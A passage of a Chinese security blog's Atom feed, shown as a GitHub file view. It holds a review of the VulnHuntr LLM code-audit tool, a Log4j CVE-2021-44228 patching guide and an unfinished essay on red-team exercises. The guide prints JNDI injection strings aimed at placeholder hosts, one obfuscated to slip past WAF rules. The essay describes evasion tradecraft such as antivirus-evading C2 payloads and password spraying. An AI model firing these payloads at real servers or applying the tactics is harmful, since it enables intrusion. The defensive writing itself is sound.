-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathfeed.xml
4212 lines (3059 loc) · 492 KB
/
feed.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
<title type="text">KINGX</title>
<generator uri="https://github.com/mojombo/jekyll">Jekyll</generator>
<link rel="self" type="application/atom+xml" href="https://kingx.me/feed.xml" />
<link rel="alternate" type="text/html" href="https://kingx.me" />
<updated>2024-12-14T22:40:35-05:00</updated>
<id>https://kingx.me/</id>
<author>
<name>KINGX</name>
<uri>https://kingx.me/</uri>
<email>root#kingx.me</email>
</author>
<entry>
<title type="html"><![CDATA[探索 AI 驱动的代码安全工具 VulnHuntr]]></title>
<link rel="alternate" type="text/html" href="https://kingx.me/ai-driven-static-code-audit-vulnhuntr.html" />
<id>https://kingx.me/ai-driven-static-code-audit-vulnhuntr</id>
<published>2024-12-14T00:00:00-05:00</published>
<updated>2024-12-14T00:00:00-05:00</updated>
<author>
<name>KINGX</name>
<uri>https://kingx.me</uri>
<email>root#kingx.me</email>
</author>
<content type="html">
<p>10月份,Project AI 开源了 VulnHuntr 项目,这是一款由大模型驱动的 Python 静态代码安全分析工具,并成功发现了多个 AI 相关应用系统中的安全漏洞。</p>
<p>前段时间本地实测了一下,整体上说这是一个偏向于 Demo 性质的项目,但是主体功能已经比较完整。VulnHuntr 实现了多个步骤的代码分析,并且对于不同类型漏洞,设置了针对性的 Prompt。通过符号查找,允许大模型主动请求上下文函数或类的代码,并结合上下文进行更深入的代码分析。扫描过程中会进行多轮迭代,来分析复杂的代码逻辑,提升结果准确度。内置 Prompt 中的代码分析指令也非常具有学习参考意义。</p>
<p>不过在实际使用过程中也遇到了不少问题。例如:VulnHuntr 工具与大模型交互使用了较为复杂的 JSON 数据格式,并且校验严格,使用 OpenAI、Anthropic 之外的其他模型实测体验并不好,非常容易输出不符合规范的 JSON 数据,导致程序异常退出。另外大模型输出存在一定随机性,不可避免的会出现不少误报和漏报,且每次输出的结果也可能会有差异,有时候还会出现结果中多个字段逻辑不相符的问题。整体使用下来,使用 Claude 模型时的运行效果是最好的,大家可以自行体验。</p>
<p>为了提高易用性、更多大模型的兼容性,我抽空在 VulnHuntr 基础上做了一些小小的优化:</p>
<p>优化大模型交互格式,大幅提升大模型输出的兼容性
支持更多国内大模型,例如 Qwen、Hunyuan
增加了多语言 Prompt 选项,增加了中文 Prompt
增加了简单的报告功能,以及更多的命令行选项
优化控制台日志信息</p>
<p>修改版项目代码,可以在此公众号后台留言 “vulnhuntr” 获取下载地址。</p>
<p>报告截图:</p>
<p><img src="https://kingx.me/images/articles/202412/20241214-report.webp" alt="报告" /></p>
<p><img src="https://kingx.me/images/articles/202412/20241214-run.webp" alt="运行" /></p>
<h2 id="开始使用">开始使用</h2>
<p>原版项目下载之后,需要做一些修改和设置才能正常使用:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code># 必须使用 Python 3.10,兼容 jedi
conda create --name vulnhuntr python=3.10
# 修复 requirements.txt
echo " \\ \n --hash=sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a" &gt;&gt; requirements.txt
# 安装依赖
python -m pip install -r requirements.txt
# 将主函数代码拷贝出来方便运行
cp vulnhuntr/__main__.py ./run.py
# 根据需要设置 Ollama 模型
export OLLAMA_MODEL=qwen2.5:32b
export OLLAMA_MODEL=llama3.1:8b
# 启动扫描,建议使用 claude
python run.py -r path/to/target -l ollama
python run.py -r path/to/target -l claude
# 修改版的启动命令
python run.py -r ../../targets/dvpwa -l gpt -m gpt-4o -vv -k your-api-key
</code></pre></div></div>
<h2 id="代码简读">代码简读</h2>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__main__.py 主逻辑
LLMs.py 大模型接入类
prompts.py 各种Prompt模板
symbol_finder.py 代码符号查找工具类
</code></pre></div></div>
<ul>
<li>预处理,筛选出核心代码文件</li>
</ul>
<p>排除代码仓库中的测试、示例、文档等非核心文件,然后使用大量正则表达式识别出可能包含网络相关功能的代码,例如 Python Web 框架、WebSocket、服务器启动代码等。</p>
<ul>
<li>代码项目整体解读,进入通用代码分析阶段</li>
</ul>
<p>找到项目的 Readme 文件进行总结,并将总结结果合并作为 System Prompt 的内容。Prompt中将大模型定设定为“Python静态代码安全审计专家”的角色,并多次强调可以主动请求更多的上下文代码。接下来遍历预处理筛选出来的重点代码文件,进行第一轮通用代码分析。</p>
<p>第一轮分析的 Prompt 中包括代码内容、通用分析指令、分析方法、输出规范、输出格式Schema等等。重点在于尽可能的找出所有潜在风险点,并且给大模型阐明了具体的分析方法和原则。例如:先整体Review、再关注远程可利用的漏洞、分析用户输入的数据流处理存储以及输出的逻辑、分析安全控制措施,并提醒大模型关注上下文。输出规范的 Prompt 中对 JSON 格式提出了细节规范的要求。</p>
<ul>
<li>针对性漏洞检测阶段,多轮精确扫描</li>
</ul>
<p>对通用扫描中发现漏洞并且置信度大于0的漏洞类型,逐个进行针对性的漏洞扫描。与通用代码分析阶段相比,此阶段附上了大模型所请求的上下文代码,指令 Prompt 更新为特定漏洞类型的 Prompt、并且增加了特定漏洞类型的 Bypass Payload,例如 XSS 的代码审计 Prompt、SQLi 的代码审计 Prompt,指令更具针对性。</p>
<p>根据大模型对上下文的请求情况,此阶段最多迭代7次。此阶段的第一轮不会立即获取上下文代码,而是等到迭代的第二轮才会处理 context_code 请求。如果大模型重复请求同一个上下文超过 1 次,则跳出迭代。</p>
<p>大模型请求上下文包括 name(函数名、类名、方法名),code_line(引用的代码行),reason(原因)。VulnHuntr 使用 jedi 库进行代码符号查找,找到相应的 code_line,然后再定位到相应源代码位置,最后给大模型反馈的内容如下:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;context_code&gt;
&lt;code&gt;
&lt;name&gt;&lt;/name&gt;
&lt;context_name_requested&gt;&lt;/context_name_requested&gt;
&lt;file_path&gt;&lt;/file_path&gt;
&lt;source&gt;&lt;/source&gt;
&lt;/code&gt;
&lt;/context_code&gt;
</code></pre></div></div>
<p>如果引用的类/函数在第三方代码中,则返回一句话 “Third party library. Claude, use what you already know about {name.full_name} to understand the code” 作为源代码内容。</p>
<ul>
<li>结果输出</li>
</ul>
<p>修改版中将多轮检测迭代完成之后依然存在的漏洞结果输出到报告文件中。</p>
<h2 id="结语">结语</h2>
<p>尽管仍有很大改进空间,VulnHuntr 还是一个值得学习借鉴的开源项目,在 LLM 代码安全分析方面的应用思路值得关注。感兴趣的朋友,欢迎关注、留言、转发。</p>
<p><a href="https://kingx.me/ai-driven-static-code-audit-vulnhuntr.html">探索 AI 驱动的代码安全工具 VulnHuntr</a> was originally published by KINGX at <a href="https://kingx.me">KINGX</a> on December 14, 2024.</p>
</content>
</entry>
<entry>
<title type="html"><![CDATA[Log4j 严重漏洞修复方案参考 CVE-2021-44228]]></title>
<link rel="alternate" type="text/html" href="https://kingx.me/Patch-log4j.html" />
<id>https://kingx.me/Patch-log4j</id>
<published>2021-12-12T00:00:00-05:00</published>
<updated>2021-12-12T00:00:00-05:00</updated>
<author>
<name>KINGX</name>
<uri>https://kingx.me</uri>
<email>root#kingx.me</email>
</author>
<content type="html">
<p>CVE-2021-44228,原理上是 log4j-core 代码中的 JNDI 注入漏洞。这个漏洞可以直接导致服务器被入侵,而且由于“日志”场景的特性,攻击数据可以多层传导,甚至可以威胁到纯内网的服务器。log4j 作为 Java 开发的基础公共日志类,使用范围非常广,漏洞必定影响深远,想想当年commons-collections反序列化漏洞的影响范围。</p>
<p>Github漏洞公告:https://github.com/advisories/GHSA-jfh8-c2jp-5v3q</p>
<p>影响 &lt; 2.15.0 的所有 2.x 版本。也就是说,除了最新版本之外的所有版本都受影响。</p>
<p><strong>最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本</strong></p>
<p><strong>最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本</strong></p>
<p><strong>最直接、有效、稳定的修复方式是:将 log4j-core 升级到 2.15.0 版本</strong></p>
<p>如果实在无法升级,可以尝试把漏洞类删掉。其他修复方式可以结合使用起到比较好的快速缓解作用,但受限于不同的环境,可能会产生各种各样比较麻烦的问题或者未来的隐患。长期修复方案需要保证稳定、可靠、持久有效,这种严重漏洞值得一个发布和重启。</p>
<p>2.15.0 版本下载地址:https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/</p>
<p>pom.xml 配置</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependency&gt;</span>
<span class="nt">&lt;groupId&gt;</span>org.apache.logging.log4j<span class="nt">&lt;/groupId&gt;</span>
<span class="nt">&lt;artifactId&gt;</span>log4j-core<span class="nt">&lt;/artifactId&gt;</span>
<span class="nt">&lt;version&gt;</span>2.15.0<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>
<h3 id="缓解方式1接入安全产品">缓解方式1:接入安全产品</h3>
<p>第一时间上WAF规则、RASP拦截等措施,给修复争取时间。</p>
<p>但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势。比如:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
</code></pre></div></div>
<h3 id="缓解方式2删除漏洞类">缓解方式2:删除漏洞类</h3>
<p>通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案。直接删除 log4j jar 包中存在漏洞的类:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zip <span class="nt">-q</span> <span class="nt">-d</span> log4j-core-<span class="k">*</span>.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
</code></pre></div></div>
<p>这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能。不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况。建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar</p>
<p>另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中。需要注意的是,必须保证它在 log4j 原类之前加载。</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="n">org</span><span class="o">.</span><span class="na">apache</span><span class="o">.</span><span class="na">logging</span><span class="o">.</span><span class="na">log4j</span><span class="o">.</span><span class="na">core</span><span class="o">.</span><span class="na">lookup</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">JndiLookup</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nf">JndiLookup</span><span class="o">()</span> <span class="o">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">NoClassDefFoundError</span><span class="o">(</span><span class="s">"JNDI lookup is disabled"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用):</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependency&gt;</span>
<span class="nt">&lt;groupId&gt;</span>org.glavo<span class="nt">&lt;/groupId&gt;</span>
<span class="nt">&lt;artifactId&gt;</span>log4j-patch<span class="nt">&lt;/artifactId&gt;</span>
<span class="nt">&lt;version&gt;</span>1.0<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>
<p>当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如:</p>
<p>https://github.com/chaitin/log4j2-vaccine</p>
<p>https://github.com/boundaryx/cloudrasp-log4j2</p>
<h3 id="缓解方式3通过配置禁用-log4j-的-lookup-功能">缓解方式3:通过配置禁用 log4j 的 lookup 功能</h3>
<p>禁用的方式就比较多了。<strong>然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果</strong>,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大。log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能。</p>
<p>log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录。</p>
<h4 id="1-设置日志输出-pattern-格式">1. 设置日志输出 Pattern 格式</h4>
<p>对于 &gt;=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广。比如在 log4j2.xml 中配置:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;Configuration</span> <span class="na">status=</span><span class="s">"WARN"</span><span class="nt">&gt;</span>
<span class="nt">&lt;Appenders&gt;</span>
<span class="nt">&lt;Console</span> <span class="na">name=</span><span class="s">"Console"</span> <span class="na">target=</span><span class="s">"SYSTEM_OUT"</span><span class="nt">&gt;</span>
<span class="nt">&lt;PatternLayout</span> <span class="na">pattern=</span><span class="s">"%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"</span><span class="nt">/&gt;</span>
<span class="nt">&lt;/Console&gt;</span>
<span class="nt">&lt;/Appenders&gt;</span>
<span class="nt">&lt;Loggers&gt;</span>
<span class="nt">&lt;Root</span> <span class="na">level=</span><span class="s">"error"</span><span class="nt">&gt;</span>
<span class="nt">&lt;AppenderRef</span> <span class="na">ref=</span><span class="s">"Console"</span><span class="nt">/&gt;</span>
<span class="nt">&lt;/Root&gt;</span>
<span class="nt">&lt;/Loggers&gt;</span>
<span class="nt">&lt;/Configuration&gt;</span>
</code></pre></div></div>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">Test</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="n">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="n">String</span> <span class="n">t</span> <span class="o">=</span> <span class="s">"${jndi:ldap://xxx.com/xxx}"</span><span class="o">;</span>
<span class="n">Logger</span> <span class="n">logger</span> <span class="o">=</span> <span class="n">LogManager</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="n">LogManager</span><span class="o">.</span><span class="na">ROOT_LOGGER_NAME</span><span class="o">);</span>
<span class="n">logger</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="n">t</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<h4 id="2-设置jvm系统属性">2. 设置JVM系统属性</h4>
<p>在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 必须在 log4j 实例化之前设置该系统属性</span>
<span class="n">System</span><span class="o">.</span><span class="na">setProperty</span><span class="o">(</span><span class="s">"log4j2.formatMsgNoLookups"</span><span class="o">,</span> <span class="s">"true"</span><span class="o">);</span>
<span class="n">Logger</span> <span class="n">logger</span> <span class="o">=</span> <span class="n">LogManager</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="n">LogManager</span><span class="o">.</span><span class="na">ROOT_LOGGER_NAME</span><span class="o">);</span>
</code></pre></div></div>
<h4 id="3-修改配置文件">3. 修改配置文件</h4>
<p>在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下。</p>
<h4 id="4-设置进程环境变量">4. 设置进程环境变量</h4>
<p>在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true</p>
<blockquote>
<p>注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效:
<strong>Solutions and Mitigations:</strong>
The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:</p>
<p>zip -q -d <LOGSTASH_HOME>/logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class</LOGSTASH_HOME></p>
<p>Refer: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476</p>
</blockquote>
<h3 id="缓解方式4升级jdk版本">缓解方式4:升级JDK版本</h3>
<p>对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载。对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案。</p>
<p>在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:<a href="https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html">https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html</a></p>
<p>另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级。</p>
<p><a href="https://kingx.me/Patch-log4j.html">Log4j 严重漏洞修复方案参考 CVE-2021-44228</a> was originally published by KINGX at <a href="https://kingx.me">KINGX</a> on December 12, 2021.</p>
</content>
</entry>
<entry>
<title type="html"><![CDATA[浅谈大规模红蓝对抗攻与防]]></title>
<link rel="alternate" type="text/html" href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html" />
<id>https://kingx.me/Thinking-about-the-RedTeam-Engagement</id>
<published>2020-10-12T00:00:00-04:00</published>
<updated>2020-10-12T00:00:00-04:00</updated>
<author>
<name>KINGX</name>
<uri>https://kingx.me</uri>
<email>root#kingx.me</email>
</author>
<content type="html">
<p>近年来各种大规模的红蓝对抗赛事方兴未艾,攻防实战受到了更多的重视。红队和蓝队的打法逐渐提升并趋于成熟,已不再是单方面的攻击与防御,而演变为攻防博弈和几乎不限手法的对抗演习。与传统的渗透测试相比,这种高强度的红蓝对抗有着明显不同,甚至较量的不仅仅是技法,而包括战术打法、心态与体力的考验。</p>
<h2 id="溯源与反溯源">溯源与反溯源</h2>
<p>溯源让演习得以攻守互换,是防守方的重要工作之一。演习攻击方并不能毫无顾忌的肆意输出,首先需要考虑的是隐藏自身,这也让演习更加贴近于真实的攻击行动。这里讨论的溯源并不只是停留在分析攻击手法和定位来源IP上,更进一步需要关联到真实的行为人,所以攻击方使用匿名资源变得非常必要:</p>
<ul>
<li>VPN、匿名代理</li>
<li>纯净的渗透环境、虚拟机</li>
<li>匿名邮箱、手机号、VPS等</li>
<li>纯净的移动设备、无线设备等</li>
</ul>
<p>实名的资源变得不太可靠,这并不是夸张,防守方通过各种途径可以反查到攻击者的踪迹,甚至动用“社工”等攻击手段,包括不限于博客、实名认证的社交账号、手机号、服务器等等。在攻防基础设施相对完善的前提下,很多溯源与反溯源的对抗会下沉到细节层面,比如攻击队员通过社交工具传递目标可疑URL时,如果误点击通过系统默认的浏览器打开,则可能会被JSONP蜜罐捕获社交账号或者被抓到真实出口IP。当然这也对防守方的溯源分析能力是一个考验,从海量攻击数据中提取出有效的关键信息。现在大量的蜜罐等主动防御手段起到了不错的效果,需要注意的是蜜罐本身安全措施也需要隔离得当,避免造成安全隐患。</p>
<p>作为应对,攻击方必须使用纯净的专用渗透环境进行攻击,完全与日常工作环境区分开来,并做测试环境的定期还原。在识别蜜罐之后,可以通过投喂大量脏数据,甚至伪造一个反向蜜罐,诱导防守方进入并误导溯源或者消耗防守方的精力,这也是防守方需要甄别和解决的问题,在演习行动的过程中,溯源与反溯源的故事一直在继续。</p>
<h2 id="数据储备">数据储备</h2>
<p>圈定时间的演习对抗跟真实世界的攻击还是有一定区别的,防守方有相对充足的时间提前修筑防御工事,比如收敛外网的入口、关闭不重要的业务网站、限制关键系统的访问来源、降低安全设备拦截阈值等,甚至不惜降低用户体验以提升安全性。而攻击方由于演习前目标未知,在战时状态下再临时进行信息搜集和扫描探测效果必然会有一定折扣,并且很容易被拦截和封禁,往往很难定位到关键的资产。此时,全网数据和被动信息搜集就会变得非常有价值,比如DNS历史解析记录、Whois历史信息、历史端口开放情况、网络流量信息等等,这些数据可以帮助你:</p>
<ul>
<li>找出网站真实IP,挖掘相邻网段、绕过安全设备</li>
<li>判断目标是否为蜜罐</li>
<li>定位内网IP和系统</li>
<li>定位关键的应用系统</li>
</ul>
<p>另外对于集团型目标,企业关系错综复杂,企业信息的数据储备则有助于快速定位关键目标,如天眼查、企查查、备案信息等。对于集团来说,不同领域的控股子公司,以及他们的孙公司往往差异很大,与目标系统不一定网络可通。通过控股关系,可以优先筛选出一批离目标系统较近的资产列表。另外通过采购公告、版权声明、专利、软件著作权、知识产权列表,也可能可以直接定位到目标系统的研发单位,特别是对一些有自己IT支撑单位的目标集团。</p>
<h2 id="0day储备">0day储备</h2>
<p>大规模演习项目时间紧、任务重、人力有限,效率非常重要。常规突破手段无法完全满足需求,在对目标组织结构没有详细了解的情况下,正面硬刚的路径会很长,光是突破边界、摸清内网状态,判断是否连通靶标就需要花费较长时间。此时攻击关键的基础设施:邮件系统、OA系统、VPN系统、企业知识库、域控、集中管控等系统的价值则非常大。一个有效的0day则可以节省数天时间,至少可以直接获得一个外网的有效突破口,起到事半功倍的效果。譬如拿到OA系统可以摸清目标集团的组织架构,定位靶标系统位置,邮箱和VPN则更不用多说,从今年陆续曝出的0day数量也略见一斑。</p>
<p>对于防守方来说,从行为检测上看,其实0day并没有那么可怕,即使遭遇0day攻击,主机上的对抗也会回到基本面上,比如:Webshell、恶意命令、反弹Shell、端口扫描、黑客工具、端口转发、提权、C2通信等等,这里就要求防守方超越IoC和传统黑特征的束缚,不依赖对特定漏洞利用的先验知识,而全面基于行为数据进行建模,从而拥有发现和识别通过未知漏洞突破的恶意活动检测能力。对于完善的纵深防御体系来说,抓住端点上的蛛丝马迹,可能在攻击者尝试执行探测命令时就可以告警了,甚至可以用蜜罐捕获0day。攻击队的0day利用也需要深思熟虑,识别绕过蜜罐,并尽量趋向于合法操作,比如添加账号,而不是执行黑命令或者直接反弹Shell。</p>
<p><span style="color:white;">本文来源:<a style="color:white;" href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html">https://kingx.me/Thinking-about-the-RedTeam-Engagement.html</a></span><br />
<span style="color:white;">公众号:安全引擎,转载请注明出处</span></p>
<h2 id="工具储备">工具储备</h2>
<p>工欲善其事必先利其器,对于攻击队来说,需要将所使用的到的工具进行免杀处理。C2载荷常见的处理方式包括域前置、ShellcodeLoader、加壳,也包括合法的软件签名等等,除了对木马进行免杀之外,渗透过程中也尽量不直接使用公开的工具,至少重新编译或者消除已知的文件特征,否则防守方通过最简单的IoC匹配就能成功告警。一个典型场景:当挖掘到一个潜在的上传漏洞,并且花费时间绕过了WAF,结果上传了一个一句话木马,很可能会直接触发主机层面的Webshell文件告警,导致功亏一篑。内网渗透中的端口转发、扫描、密码抓取等工具也是同理。当然也看到目前渗透工具广泛的使用了无文件的攻击方式,如进程注入、从内存加载.Net程序集、向Java Servlet容器中动态注册字节码等等,显著提升了恶意工具执行的隐蔽性。另外,一些工程化的工具,比如邮件内容批量分析、通讯录提取等等,也会提升相当效率,节省宝贵时间。
相对应的从防守角度来说,无论是C2通信、横向移动、扫描,即使绕过端点检测系统,流量中也难免会留下蛛丝马迹,并且无文件的程序最终也会执行命令,所以除了静态文件检测外,还可以尝试通过RASP、流量取证分析、行为数据流等方式从多个维度发现潜在的攻击行为。</p>
<p><span style="color:white;">本文来源:<a style="color:white;" href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html">https://kingx.me/Thinking-about-the-RedTeam-Engagement.html</a></span><br />
<span style="color:white;">公众号:安全引擎,转载请注明出处</span></p>
<h2 id="弱口令与字典">弱口令与字典</h2>
<p>横亘在攻击者与目标企业内部资源之间的非常直接的因素就是账号,当不必要的业务都下线关站之后,一个可以进入在线业务系统的账号变得非常珍贵,比如域账号、WiFi账号、邮箱账号、员工OA账号、管理后台账号等等。除了考验攻击队的信息搜集能力之外,各种字典的合理性和命中率就可以在攻击队之间拉开一定的差距,常见的字典比如:用户名字典、针对性的密码字典、网站目录字典、参数字典等等。一个好字典发挥的作用很可能超出预期,哪怕是边界网络设备的弱口令,也可能会打开直达内网的通路。</p>
<p>爆破账号时如果可以对用户名、密码分开爆破是最好的,在通过各种途径获取到一批用户后,可以以密码为维度进行密码喷射爆破。对于Web系统来说,可能会遇到验证码增加爆破成本和难度,这里可以调用打码平台的API,传统图片验证码的识别率已经相当高了。</p>
<p>对于防守方来说,需要建模检测广度优先的密码喷射爆破行为及账号异常登录行为。另外可以将验证码升级为更加智能的下一代行为验证码,增加人机设备识别、滑动验证码等措施来有效防止爆破。</p>
<p><span style="color:white;">本文来源:<a style="color:white;" href="https://kingx.me/Thinking-about-the-RedTeam-Engagement.html">https://kingx.me/Thinking-about-the-RedTeam-Engagement.html</a></span><br />
<span style="color:white;">公众号:安全引擎,转载请注明出处</span></p>
<h2 id="分工配合">分工配合</h2>
<p>大规模红蓝对抗有逐渐类军事化对抗的趋势,全局上要求攻击方具有更组织化的分工与合作,像社工钓鱼、近源渗透、无线入侵等入口也需要提前安排部署。大体上人员技能可以分为:</p>
<ul>
<li>信息搜集、数据分析</li>
<li>外网渗透</li>
<li>内网渗透、域渗透</li>
<li>逆向分析</li>
<li>钓鱼社工</li>
<li>近源渗透</li>
<li>漏洞利用、0day挖掘</li>
